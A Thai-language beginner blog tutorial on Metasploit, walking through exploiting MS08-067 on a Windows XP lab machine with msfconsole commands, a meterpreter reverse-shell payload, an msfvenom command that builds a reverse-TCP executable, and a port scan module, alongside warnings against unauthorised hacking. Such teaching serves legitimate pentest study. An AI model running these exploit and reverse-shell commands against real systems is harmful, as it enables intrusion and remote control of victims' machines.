Security
น้องๆ เคยได้ยินคำว่า Pentest (Penetration Testing) หรือการเจาะระบบเพื่อทดสอบความปลอดภัยกันไหม? สมัยพี่ทำร้านเน็ตฯ นี่, เรื่องความปลอดภัยสำคัญสุดๆ เพราะข้อมูลลูกค้า ข้อมูลเกม มันเยอะแยะไปหมด Metasploit เนี่ย เป็นเครื่องมือที่ช่วยให้เราจำลองการโจมตี, หาช่องโหว่, แล้วก็ปิดช่องโหว่นั้นซะ ก่อนที่แฮกเกอร์ตัวจริงจะมาเจอ
ทำไม Metasploit ถึงสำคัญ? เพราะมันช่วยให้เรารู้จุดอ่อนของระบบเราไง! แทนที่จะรอให้โดนแฮกจริง แล้วค่อยมาตามแก้, เราเจาะเองเลย, รู้เองเลย, แก้เองเลย จบ!
Metasploit คือ Framework หรือชุดเครื่องมือที่รวบรวม Exploit (โค้ดที่ใช้เจาะช่องโหว่) Payload (โค้ดที่เราจะรันบนเครื่องเหยื่อ หลังจากเจาะได้แล้ว) และเครื่องมืออื่นๆ ที่จำเป็นสำหรับการ Pentest ไว้ครบหมด พูดง่ายๆ คือมีทุกอย่างที่แฮกเกอร์ (และ Pentester) ต้องการ
สมัยก่อนตอนที่พี่เริ่มทำร้านเน็ต, เครื่องมือพวกนี้กระจัดกระจาย, ต้องหาเอง, เขียนเอง, ปวดหัวมาก! แต่ Metasploit ทำให้ชีวิตง่ายขึ้นเยอะ
Metasploit มีข้อดีหลายอย่าง:
ถ้าเทียบกับเครื่องมืออื่นๆ, Metasploit ถือว่าครบเครื่องและใช้งานง่ายที่สุดแล้ว SiamCafe Blog เคยเขียนบทความเปรียบเทียบไว้ด้วย ลองไปอ่านดูได้
Metasploit มีให้ใช้บน Linux (Kali Linux เป็นที่นิยม) และ Windows (ต้องติดตั้งผ่าน Cygwin หรือ Docker) พี่แนะนำให้ใช้ Kali Linux เพราะมันมีเครื่องมือ Pentest อื่นๆ ติดตั้งมาให้พร้อมเลย
หลังจากติดตั้งเสร็จแล้ว, ให้เปิด Terminal แล้วพิมพ์ msfconsole เพื่อเริ่มใช้งาน Metasploit Console
msfconsole
Metasploit Console จะเป็น Command-Line Interface ที่เราใช้สั่งงาน Metasploit
Metasploit มีคำสั่งเยอะแยะ, แต่มีบางคำสั่งที่เราใช้บ่อยๆ:
ลองพิมพ์ help ใน Metasploit Console เพื่อดูคำสั่งทั้งหมด
help
ตัวอย่าง: ค้นหา Exploit ที่เกี่ยวกับ SMB (Server Message Block)
search smb
สมัยก่อน Windows XP นี่ฮิตสุดๆ, แต่ก็มีช่องโหว่เยอะแยะ. เราจะลองใช้ Metasploit เจาะ Windows XP ที่มีช่องโหว่ SMB (MS08-067) กัน
เราต้องมีเครื่อง Windows XP ที่มีช่องโหว่ MS08-067 ก่อน. ถ้าไม่มีเครื่องจริง, เราสามารถใช้ Virtual Machine (VM) เช่น VirtualBox หรือ VMware สร้างเครื่อง Windows XP ขึ้นมาได้
ข้อควรระวัง: อย่าเจาะเครื่องคนอื่นโดยไม่ได้รับอนุญาตเด็ดขาด! ผิดกฎหมายนะจ๊ะ!
ใน Metasploit Console, ให้ค้นหา Exploit MS08-067:
search ms08-067
เลือก Exploit ที่ชื่อ exploit/windows/smb/ms08_067_netapi:
use exploit/windows/smb/ms08_067_netapi
แสดง Options ที่เราต้องตั้งค่า:
show options
ตั้งค่า RHOST (IP Address ของเครื่องเหยื่อ):
set RHOST 192.168.1.100
(สมมติว่า IP Address ของเครื่องเหยื่อคือ 192.168.1.100)
ตั้งค่า PAYLOAD เป็น windows/meterpreter/reverse_tcp:
set PAYLOAD windows/meterpreter/reverse_tcp
ตั้งค่า LHOST (IP Address ของเครื่องเรา):
set LHOST 192.168.1.101
(สมมติว่า IP Address ของเครื่องเราคือ 192.168.1.101)
รัน Exploit:
exploit
ถ้าสำเร็จ, เราจะได้ Meterpreter Session ซึ่งเป็น Shell ที่เราสามารถควบคุมเครื่องเหยื่อได้
Meterpreter มีคำสั่งเยอะแยะให้เราใช้:
ลองพิมพ์ help ใน Meterpreter Console เพื่อดูคำสั่งทั้งหมด
help
Payload คือส่วนสำคัญที่กำหนดว่าเราจะทำอะไรกับเครื่องเหยื่อหลังจากเจาะสำเร็จ. มี Payload หลายประเภท, แต่ที่นิยมใช้กันคือ:
ตารางเปรียบเทียบ Payload
| Payload | ข้อดี | ข้อเสีย |
|---|---|---|
| Reverse Shell | ทำงานได้ดีหลัง Firewall | ต้องมี IP Address ที่ Public |
| Bind Shell | ไม่ต้องมี IP Address ที่ Public | อาจถูก Firewall บล็อค |
| Meterpreter | ความสามารถหลากหลาย, ปรับแต่งได้ | ขนาดใหญ่, อาจถูกตรวจจับได้ง่ายกว่า |
การเลือก Payload ขึ้นอยู่กับสถานการณ์. ถ้าเครื่องเหยื่ออยู่หลัง Firewall, Reverse Shell จะเป็นตัวเลือกที่ดีกว่า. แต่ถ้าเครื่องเราไม่มี IP Address ที่ Public, Bind Shell อาจจะเหมาะสมกว่า
Meterpreter เหมาะสำหรับงานที่ต้องการความยืดหยุ่นและความสามารถที่หลากหลาย SiamCafe Blog มีบทความสอนการใช้งาน Meterpreter ขั้นสูงด้วยนะ
เราสามารถสร้าง Payload เองได้โดยใช้ msfvenom ซึ่งเป็นเครื่องมือที่มาพร้อมกับ Metasploit
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o payload.exe
คำสั่งนี้จะสร้าง Payload ที่ชื่อ payload.exe ซึ่งเป็น Meterpreter Reverse TCP ที่เชื่อมต่อกลับมาที่เครื่องเรา (IP Address 192.168.1.101, Port 4444)
ดูวิดีโอเพิ่มเติมเกี่ยวกับMetasploit เบื้องต้น สำหรับ Pe:
น้องๆ หลายคนน่าจะมีคำถามเกี่ยวกับ Metasploit พี่รวบรวมคำถามที่พบบ่อยๆ มาให้แล้ว:
Metasploit มีสองเวอร์ชั่น: Community Edition (ฟรี) และ Pro Edition (เสียเงิน). Community Edition มีข้อจำกัดบ้าง, แต่ก็เพียงพอสำหรับการเรียนรู้และใช้งานทั่วไป
ความรู้พื้นฐานเกี่ยวกับ Network, Operating System, และ Security จะช่วยให้เราเข้าใจ Metasploit ได้ง่ายขึ้น
การใช้ Metasploit ไม่ผิดกฎหมาย ถ้าเราใช้เพื่อทดสอบระบบของเราเอง หรือได้รับอนุญาตจากเจ้าของระบบ. แต่การเจาะระบบของคนอื่นโดยไม่ได้รับอนุญาต ถือว่าผิดกฎหมาย
สมัยผมทำร้านเน็ตฯ เจอปัญหาเครื่องลูกข่ายโดน Hack เพราะไม่ได้อัพเดท Patch นี่แหละครับ Metasploit ก็เหมือนกัน ต้องอัพเดทเสมอ เพื่อให้มี Exploit ใหม่ๆ และ Patch ที่อุดช่องโหว่
msfupdate
คำสั่งเดียวจบ ง่ายๆ เลยครับ รันปุ๊บ มันจัดการให้หมด
อย่าบุ่มบ่าม! ก่อนจะยิง Exploit มั่วซั่ว ต้อง Reconnaissance ก่อนครับ สแกนหา Port, Service, OS Version ให้ละเอียด จะได้เลือก Exploit ได้ถูกตัว
เคยเจอเคส Pentester ยิง Exploit ผิด OS เครื่องเป้าหมายเดี้ยงไปเลย เสียหายหนักกว่าเดิมอีก
Metasploit ไม่ได้มีแค่ Exploit นะครับ มี Auxiliary Modules ที่ช่วยในการ Reconnaissance, Scanning, Sniffing อีกเยอะแยะ ใช้ให้คุ้ม
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.1
run
ตัวอย่างง่ายๆ คือใช้ Port Scanner ในการหา Port ที่เปิดอยู่บนเป้าหมาย
เจาะเข้าไปได้แล้ว อย่าเพิ่งดีใจ! Post-Exploitation คือขั้นตอนสำคัญในการเก็บข้อมูลเพิ่มเติม, สิทธิ์ในการเข้าถึง, หรือแม้แต่การรักษาการเข้าถึง (Persistence)
สมัยก่อนพวก Script Kiddie เจาะได้ก็แค่ Show Off แต่ Pentester มืออาชีพต้องรู้ว่าต้องทำอะไรต่อ
Metasploit Framework เป็น Open Source ครับ ฟรีแน่นอน แต่ก็มี Metasploit Pro ที่เป็น Commercial Version เพิ่ม Feature สำหรับ Enterprise
ถ้า Pentest ทั่วไป Framework ก็เหลือๆ แล้วครับ
แปลว่า Exploit ที่เลือก ไม่เข้ากับ Target ครับ เช็ค OS Version, Architecture ให้ดีๆ บางทีต้อง Force Target เอง
set TARGET 0
ลอง Force Target ดูครับ อาจจะช่วยได้
Meterpreter คือ Payload ขั้นสูงของ Metasploit ครับ มี Function เยอะแยะ เช่น Shell, Keylogger, Screenshot, Migrate Process
ถ้าเจาะได้ Meterpreter เมื่อไหร่ สนุกเลยครับ
SiamCafe Blog มีบทความสอน Metasploit อยู่เรื่อยๆ ครับ ลองเข้าไปอ่านดูได้เลย SiamCafe Blog
นอกจากนี้ก็มี Course Online ฟรีๆ เยอะแยะ ลองหาดูครับ
Metasploit เป็น Tool ที่ครบเครื่อง ใช้งานง่าย มี Community ใหญ่ คอยช่วยเหลือ แถมยังมี Modules ให้เลือกใช้เยอะมาก
สำหรับ Pentester มือใหม่ Metasploit เป็นจุดเริ่มต้นที่ดีครับ
อ้อ! ถ้าสนใจเรื่อง Forex ลองดู iCafeForex ด้วยนะ
Metasploit เป็นเครื่องมือที่ทรงพลัง แต่ต้องใช้ให้ถูกวิธี ศึกษาให้ละเอียด และที่สำคัญคือต้องมีจริยธรรมในการใช้งาน
สมัยผมทำร้านเน็ตฯ สิ่งที่สำคัญที่สุดคือความซื่อสัตย์ครับ Pentest ก็เหมือนกัน ต้องทำด้วยความรับผิดชอบ